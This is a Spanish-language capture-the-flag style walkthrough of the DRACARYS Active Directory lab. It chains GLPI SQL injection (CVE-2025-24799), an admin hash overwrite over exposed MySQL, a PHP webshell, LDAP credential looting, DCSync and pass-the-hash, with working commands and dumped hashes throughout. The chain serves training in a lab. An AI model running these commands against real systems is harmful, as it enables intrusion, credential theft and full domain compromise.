Dracarys WriteUp
Tabla de contenido
DRACARYS es uno de los laboratorios de la familia GOAD
(Game of Active Directory), de Orange Cyberdefense. A diferencia del GOAD clásico, que es un parque temático de vulnerabilidades, DRACARYS está pensado como un reto: empiezas sin credenciales y el único objetivo es llegar a Domain Admin del dominio dracarys.lab. Su gracia es que mezcla una aplicación web (GLPI) con un Active Directory integrado con máquinas Linux, que es un escenario cada vez más habitual en entornos reales y del que se habla poco.
Este writeup lo he montado sobre mi propio laboratorio de Ludus. Si quieres reproducirlo, en su día escribí cómo montar el laboratorio con Ludus y GOAD .
🗺️ Cadena de ataque
Recon (3 hosts: DC01, SRV01 y LX01-web)
│
▼
GLPI 10.0.17 en LX01 → SQLi no autenticada (CVE-2025-24799)
│
▼
MySQL expuesto (glpi:glpi) → reescribimos el hash del admin de GLPI
│
▼
Super-admin de GLPI → RCE (subida de PHP) → shell www-data en LX01 (syrax)
│
▼
Loot: glpicrypt.key → bind LDAP → credenciales de dominio (sunfyre)
│
▼
BloodHound como sunfyre → AD integrado con Linux
│
▼
www-data → root en syrax (localuser:password, grupo sudo)
│
▼
localuser ∈ BUILTIN\Administrators del dominio → DCSync → Domain Admin
🧰 Preparación
Con el laboratorio levantado en Ludus, lo primero es el túnel de WireGuard hacia la red del laboratorio y un /etc/hosts cómodo. Ludus te genera el fichero de hosts hecho:
sudo wg-quick up ludus
ludus range etc-hosts # copia la salida a tu /etc/hosts
En mi caso las tres máquinas son:
10.2.10.10 dc01.dracarys.lab dc01 dracarys.lab BALERION
10.2.10.11 srv01.dracarys.lab srv01 VHAGAR
10.2.10.12 lx01.dracarys.lab lx01 SYRAX
Ojo a un detalle temático: los nombres de máquina en AD son dragones de Poniente (BALERION es el DC, VHAGAR el servidor miembro, SYRAX la máquina Linux), mientras que en la red los llamamos por su rol. Conviene tenerlo claro para no perderse.
🔍 Reconocimiento
Un escaneo de los tres hosts deja el reparto de papeles clarísimo.
nmap -Pn -n --open -p 22,53,80,88,135,139,389,443,445,464,636,3268,3306,3389,5985 10.2.10.10-12
| Host | IP | Puertos | Papel |
|---|---|---|---|
| BALERION | 10.2.10.10 | 53, 88, 389, 445, 636, 3268, 5985 | Controlador de dominio |
| VHAGAR | 10.2.10.11 | 135, 445, 3389, 5985 | Servidor miembro Windows |
| SYRAX | 10.2.10.12 | 22, 80, 443, 3306 | Máquina Linux con web + MySQL |
El 88 (Kerberos) y el 389 (LDAP) confirman que BALERION es el DC. Y la única superficie web está en SYRAX, así que la entrada es por ahí. Un vistazo rápido con netexec nos da además dos datos que valen oro para más adelante:
netexec smb 10.2.10.10-11
SMB 10.2.10.10 445 BALERION [*] ... (domain:dracarys.lab) (signing:True)
SMB 10.2.10.11 445 VHAGAR [*] ... (domain:dracarys.lab) (signing:False) ← firma SMB desactivada
VHAGAR tiene la firma SMB desactivada, que es la puerta clásica para un ataque de relay. Nos lo apuntamos.
🌐 Foothold: GLPI en SYRAX
La web de SYRAX es la típica página por defecto de Apache, pero la aplicación está en un subdirectorio:
curl -s http://10.2.10.12/glpi/ | grep -i '<title>'
# <title>Authentication - GLPI</title>
GLPI es un gestor de inventario y tickets muy usado. Lo primero, la versión, porque manda sobre el exploit:
curl -s http://10.2.10.12/glpi/CHANGELOG.md | grep -m1 '## \['
# ## [10.0.17] 2024-11-06
Y el status.php nos regala una pista enorme:
curl -s http://10.2.10.12/glpi/status.php
GLPI_DB_OK
Check LDAP servers: Active_Directory-ldap-dracarys.lab_OK ← GLPI habla con el AD
GLPI está configurado contra el Active Directory por LDAP. Eso significa que en algún sitio guarda las credenciales de un usuario del dominio para hacer el bind. Si conseguimos leer esa configuración, tenemos un pie en el dominio. Guárdate esta idea.
La inyección SQL (CVE-2025-24799)
GLPI 10.0.17 es vulnerable a CVE-2025-24799, una inyección SQL sin autenticar en el endpoint del agente de inventario. Ese endpoint acepta JSON sin credenciales:
curl -s -X POST http://10.2.10.12/glpi/front/inventory.php \
-H 'Content-Type: application/json' \
-d '{"action":"inventory","itemtype":"Computer","deviceid":"test-2024","content":{"versionclient":"GLPI-Agent_v1.7"}}'
# {"RESPONSE":"SEND"}
Ese {"RESPONSE":"SEND"} confirma que el endpoint procesa el inventario. La inyección es a ciegas y basada en tiempo, así que la delegamos en sqlmap. Guardamos la petición en un fichero req.txt y lanzamos:
sqlmap -r req.txt --technique=T --dbms=mysql --batch --threads=10 \
--sql-query="SELECT name,password FROM glpi.glpi_users WHERE name='glpi'"
De aquí sacamos los hashes de los usuarios de GLPI, pero son bcrypt y no son crackeables de forma razonable. Y ojo: esta inyección es de solo lectura (un UNION SELECT comentado), no permite UPDATE. Para escribir necesitamos otra vía.
💡 Para no pelearte con la extracción carácter a carácter (lenta), usa glpwnme , que trae este CVE como módulo:
python3 -m glpwnme -t http://10.2.10.12/glpi/ -e CVE_2025_24799 --run -O sql="SELECT ...".
De la SQLi a super-admin de GLPI (por la puerta de atrás)
Recuerda el reconocimiento: SYRAX tenía el 3306 (MySQL) abierto a la red. Probamos las credenciales por defecto de GLPI… y entran:
mysql -h 10.2.10.12 -u glpi -pglpi --skip-ssl -e "SELECT VERSION();"
Con acceso directo a la base de datos ya no necesitamos la SQLi para escribir. En vez de crackear el bcrypt del administrador, lo sobrescribimos por uno nuestro. GLPI espera el prefijo $2y$ (no $2b$), así que generamos el hash y lo ajustamos:
python3 -c "import bcrypt;print('\$2y\$'+bcrypt.hashpw(b'dracarys123',bcrypt.gensalt(rounds=10)).decode()[4:])"
UPDATE glpi_users SET password='$2y$...', authtype=1, auths_id=0 WHERE name='glpi';
(El authtype=1 fuerza autenticación local por si la cuenta estaba apuntando a LDAP.) Entramos por la web con glpi / dracarys123 y ya somos Super-Admin de GLPI.
De super-admin a RCE
Siendo super-admin, GLPI permite subir “documentos”, y su configuración de tipos de fichero suele dejar pasar extensiones peligrosas. Para no hacerlo a mano, usamos glpwnme , la herramienta de la propia Orange para GLPI:
glpwnme -t http://10.2.10.12/glpi/ -u glpi -p dracarys123 -e PHP_UPLOAD --run --no-opsec
[+] Version of glpi found: 10.0.17
[+] GLPI configuration is not safe 💀
[+] Profiles of current user: Super-Admin
[+] Access your file: http://10.2.10.12/glpi/files/_tmp/orange.php?passwd=P@ssw0rd123&p_run=<cmd>
La webshell orange.php ejecuta comandos con el parámetro p_run (protegida con passwd=P@ssw0rd123). Una prueba:
curl 'http://10.2.10.12/glpi/files/_tmp/orange.php?passwd=P@ssw0rd123&p_run=id;hostname'
# uid=33(www-data) ... syrax.dracarys.lab
Ejecución de comandos como www-data sobre SYRAX. Y de propina, orange.php sin p_run (solo con passwd=) vuelca directamente el bind LDAP y las credenciales de la base de datos.
⚠️ Cómodo: conviértelo en una reverse shell contra tu Kali (tu IP en el túnel es
198.51.100.2) para moverte con soltura.
🔑 Loot: la credencial de dominio escondida en GLPI
Recuperamos la promesa que nos hizo el status.php. GLPI guarda la contraseña del bind LDAP cifrada (campo rootdn_passwd de la tabla glpi_authldaps), y la clave para descifrarla, glpicrypt.key, está en el propio servidor y es legible por www-data. La webshell de glpwnme ya hace el trabajo por nosotros: con solo ?passwd=P@ssw0rd123 imprime la conexión LDAP en claro:
LDAP Base => CN=sunfyre,CN=Users,DC=dracarys,DC=lab
LDAP Password => BSno5D********** (distinta en cada despliegue)
DB User/Pass => glpi / glpi
La cuenta que GLPI usa contra el AD es sunfyre, su cuenta de servicio. La comprobamos contra el DC:
netexec ldap 10.2.10.10 -u sunfyre -p '<password>' -d dracarys.lab
# [+] dracarys.lab\sunfyre:<password>
Ya tenemos credenciales válidas de dominio. Hemos pasado de la web al Active Directory.
💡 Si prefieres descifrarlo a mano,
rootdn_passwdva cifrado con XChaCha20-Poly1305 usandoglpicrypt.key, unsodium_crypto_aead_xchacha20poly1305_ietf_decrypten PHP lo recupera.
🩸 Enumeración del dominio con BloodHound
Con sunfyre recogemos todo el dominio para BloodHound:
bloodhound-python -u sunfyre -p '<password>' -d dracarys.lab -ns 10.2.10.10 -c All --zip
⚠️ Verás avisos de “LDAP signing is enabled, trying LDAPS”. Es normal: el DC obliga a firmar,
bloodhound-pythonreintenta por LDAPS (636) y funciona igual.
Importando el ZIP en BloodHound, el dominio es pequeño y limpio (9 usuarios), y el mapa cuenta una historia muy clara. Estos son los usuarios que importan:
| Usuario | Descripción | Pertenencia relevante |
|---|---|---|
sunfyre | cuenta de servicio de GLPI (la nuestra) | LINUXUSERS |
viserion | usuario normal | LINUXUSERS |
rhaegal | usuario normal | LINUXADMINS |
drogon | Domain Admin | LINUXADMINS + Domain Admins |
localuser | cuenta local/administración | BUILTIN\Administrators del dominio |
Y aquí está el diseño del reto: es un Active Directory integrado con Linux. Hay dos grupos que no son estándar de Windows, LINUXUSERS y LINUXADMINS, cuyos nombres cantan que gobiernan el acceso a las máquinas Linux del dominio (SYRAX está unida al dominio vía SSSD). Es un patrón muy real y poco vigilado.
sunfyre, por sí sola, no tiene ningún permiso jugoso en el AD: ni kerberoast, ni ASREP, ni ACLs abusables, ni ADCS (no hay CA en el dominio). La escalada no está en el lado Windows, está en el lado Linux, y el hilo del que tirar es la máquina donde ya tenemos ejecución: SYRAX.
👑 Escalada a Domain Admin: el Active Directory que vive en Linux
Paso 1: de www-data a root en SYRAX
Nuestra RCE de GLPI corre como www-data, un usuario sin privilegios: nada de sudo, ni SUID abusables, ni cron escribible. Pero enumerando el sistema aparece el detalle clave, el grupo sudo local:
www-data$ getent group sudo
sudo:x:27:localuser
En SYRAX, el usuario localuser tiene sudo. Y localuser es la cuenta de administración local que despliega el laboratorio, su contraseña es la típica password. Con eso entramos por SSH y saltamos a root sin esfuerzo:
$ sshpass -p 'password' ssh localuser@10.2.10.12
localuser@syrax$ id
uid=1000(localuser) ... 27(sudo),624600513(domain users) ← ¡es también usuario de dominio!
localuser@syrax$ sudo -i
root@syrax#
Fíjate en el id: localuser está en el grupo sudo y en domain users. No es solo una cuenta local, es una cuenta de dominio. Y ahí es donde BloodHound nos había dado la pista de oro.
Paso 2: localuser es administrador del dominio
Recuerda lo que vimos en BloodHound: localuser es miembro de BUILTIN\Administrators del dominio. Ese grupo puede administrar el propio controlador de dominio, así que una cuenta de dominio dentro de él es, a efectos prácticos, tan buena como un Domain Admin. Y su contraseña es la misma password. Lo comprobamos contra el DC:
netexec smb 10.2.10.10 -u localuser -p 'password' -d dracarys.lab
SMB 10.2.10.10 445 BALERION [+] dracarys.lab\localuser:password (Pwn3d!)
Ese (Pwn3d!) lo dice todo: localuser es administrador en el controlador de dominio.
Paso 3: DCSync y compromiso total
Siendo administrador del DC, un DCSync nos vuelca toda la base de datos del dominio: los hashes de todos los usuarios, incluido krbtgt (con el que se forjan Golden Tickets) y el Administrator:
impacket-secretsdump dracarys.lab/localuser:password@10.2.10.10 -just-dc
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2ce1d863befe7dd23bdcebec4d2704ce:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:91acdf75d00eb489a9fbcc6f44c0c4db:::
drogon:1108:aad3b435b51404eeaad3b435b51404ee:3627f18929c18bd37c93423a5e39b78a:::
Y con el hash del Administrator del dominio, un Pass-the-Hash nos da ejecución de comandos como SYSTEM en el DC:
netexec smb 10.2.10.10 -u Administrator -H 2ce1d863befe7dd23bdcebec4d2704ce -d dracarys.lab -x "whoami"
SMB 10.2.10.10 445 BALERION [+] dracarys.lab\Administrator:2ce1... (Pwn3d!)
SMB 10.2.10.10 445 BALERION [+] Executed command via wmiexec
Objetivo cumplido: de una web olvidada a Domain Admin del dominio dracarys.lab.
💡 Sobre
localuser. En este despliegue,localuseres la cuenta que usa el aprovisionamiento (de ahí la contraseñapassword), y el autor la dejó dentro deBUILTIN\Administratorsdel dominio. Es un fallo muy realista: cuentas de administración local que acaban con privilegios de dominio y una contraseña débil o reutilizada. Si prefieres la vía “sin atajos de infraestructura”, desde root en SYRAX también tienes elkrb5.keytabde la cuenta de máquinaSYRAX$y el/root/.my.cnfcon la contraseña de root de MySQL para seguir tirando del hilo, pero el camino corto y limpio a DA eslocaluser.
🧹 Dejar el laboratorio limpio
Como todo esto corre sobre Ludus con un snapshot, cuando termines devuélvelo a su estado original y ni rastro:
ludus snapshots revert dracarys-ok
📝 Resumen
| # | Fase | Técnica | Resultado |
|---|---|---|---|
| 1 | Reconocimiento | nmap + netexec | 3 hosts, web en SYRAX, firma SMB off en VHAGAR |
| 2 | Fingerprint | Versión de GLPI + status.php | GLPI 10.0.17 con bind LDAP al AD |
| 3 | SQLi | CVE-2025-24799 en el inventario (sin auth) | Lectura de la BBDD de GLPI |
| 4 | Escalada en la app | MySQL expuesto (glpi:glpi) → reescribir el hash del admin | Super-Admin de GLPI |
| 5 | RCE | Subida de PHP con glpwnme | Ejecución de comandos como www-data en SYRAX |
| 6 | Loot | Descifrar el bind LDAP con glpicrypt.key | Credenciales de dominio (sunfyre) |
| 7 | Enumeración | BloodHound como sunfyre | localuser ∈ BUILTIN\Administrators, AD+Linux |
| 8 | Privesc local | localuser:password en el grupo sudo | root en SYRAX |
| 9 | Escalada a DA | localuser es admin del DC → DCSync + Pass-the-Hash | Domain Admin de dracarys.lab |
🧠 Lo que enseña DRACARYS
- Una web olvidada es una puerta al dominio. GLPI no era el objetivo, pero guardaba las credenciales de servicio del AD. Cualquier aplicación que se autentica contra el directorio es un objetivo de primer nivel.
- Servicios que no deberían estar expuestos. El MySQL de GLPI, accesible desde la red con
glpi:glpi, fue lo que convirtió una SQLi lenta a ciegas en control total de la base de datos. Antes de pelear con el exploit difícil, mira si hay una puerta abierta al lado. - Integrar Linux en Active Directory amplía la superficie. Máquinas Linux unidas al dominio, con cuentas de administración local que a la vez son cuentas de dominio, son un vector que muchos equipos de seguridad no vigilan.
- El pecado capital: una cuenta local privilegiada, en el dominio y con contraseña débil.
localuserreunía las tres cosas,sudoen Linux, miembro deBUILTIN\Administratorsdel dominio y contraseñapassword, y eso es, por sí solo, el camino de la web a Domain Admin. - No siempre hay que crackear. Contra los bcrypt de GLPI no reventamos nada: reescribimos el hash directamente en la base de datos. A veces la vía rápida es cambiar el dato, no adivinarlo.
🐉 Nota. DRACARYS es un reto de dificultad alta y su gracia está en descubrir cada pieza por tu cuenta. Si vas a montarlo, hazlo sobre un snapshot para poder romperlo y revertir las veces que haga falta. El autor (Mayfly,
@M4yFly) agradece que le hagas llegar tu writeup.
